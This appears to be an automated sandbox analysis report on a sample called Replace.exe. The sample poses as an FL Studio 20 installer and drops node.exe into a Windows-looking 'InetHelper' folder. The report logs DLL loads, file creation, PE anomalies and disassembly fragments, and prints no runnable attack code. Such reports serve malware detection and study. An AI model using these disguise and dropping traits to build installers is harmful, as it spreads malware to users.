Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wnsCCC1.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\wnsF0F3.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Section loaded: msxml6.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20\__tmp_rar_sfx_access_check_5937078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20\FL64.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe	Directory created: C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll	Jump to behavior

Source: Replace.exe

Static file information: File size 36540866 > 1048576

Source: Replace.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: compiler: cc /Zi /Fdossl_static.pdb -DOPENSSL_IA32_SSE2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPADLOCK_ASM -DPOLY1305_ASM source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: !"#$% !"#$%&'()*+,-./0123456789:;<=>?@ABCD./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzdes(long)compiler: cc /Zi /Fdossl_static.pdb -DOPENSSL_IA32_SSE2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAES_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPADLOCK_ASM -DPOLY1305_ASMbuilt on: Tue Mar 15 17:28:15 2022 UTCplatform: OPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "NUL"not available@@@@@@@@@hHHHH@@@@@@@@@@@@@@@@@@( source: node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: Replace.exe, 00000000.00000003.1668526597.0000000004074000.00000004.00000020.00020000.00000000.sdmp, run.exe, 00000002.00000000.1694241390.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmp, run.exe, 00000002.00000003.1696934689.0000019819FC2000.00000004.00000020.00020000.00000000.sdmp, run.exe, 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmp, run.exe, 00000002.00000003.1701249383.00000198188A8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\ws\out\Release\node.pdb source: node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp

Source: Replace.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Replace.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Replace.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Replace.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Replace.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: initial sample

Static PE information: section where entry point is pointing to: .xda3

Source: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe

File created: C:\Program Files\Image-Line\FL Studio 20\__tmp_rar_sfx_access_check_5937078

Jump to behavior

Source: wnsCCC1.tmp.7.dr	Static PE information: real checksum: 0x0 should be: 0x6be3de
Source: node.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x694243
Source: cleaner.exe.13.dr	Static PE information: real checksum: 0x0 should be: 0x89c7
Source: wsc86FC.tmp.0.dr	Static PE information: real checksum: 0x0 should be: 0x10fd7
Source: wnsF0F3.tmp.10.dr	Static PE information: real checksum: 0x0 should be: 0x6be3de
Source: FL64.exe.2.dr	Static PE information: real checksum: 0x49c24 should be: 0x4d1a4
Source: wnsA071.tmp.1.dr	Static PE information: real checksum: 0x0 should be: 0x6be3de

Source: run.exe.0.dr	Static PE information: section name: .didat
Source: run.exe.0.dr	Static PE information: section name: _RDATA
Source: FL64.exe.2.dr	Static PE information: section name: _RDATA
Source: FLEngine_x64.dll.2.dr	Static PE information: section name: .didata
Source: FLEngine_x64.dll.2.dr	Static PE information: section name: .xda0
Source: FLEngine_x64.dll.2.dr	Static PE information: section name: .xda1
Source: FLEngine_x64.dll.2.dr	Static PE information: section name: .xda2
Source: FLEngine_x64.dll.2.dr	Static PE information: section name: .xda3

Source: C:\Users\user\Desktop\Replace.exe	Code function: 0_2_00BD9153 push ecx; ret	0_2_00BD9166
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02134F08 push eax; ret	23_3_02134EE9
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02135130 push eax; retf	23_3_0213512D
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02133921 pushad ; ret	23_3_02133975
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02134D71 push eax; ret	23_3_02134EE9
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_02134F74 push eax; retf	23_3_0213512D
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 23_3_021335E9 push eax; iretd	23_3_021335F5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02253921 pushad ; ret	30_3_02253975
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02255130 push eax; retf	30_3_0225512D
Source: C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	Code function: 30_3_02254F08 push eax; ret	30_3_02254EE9
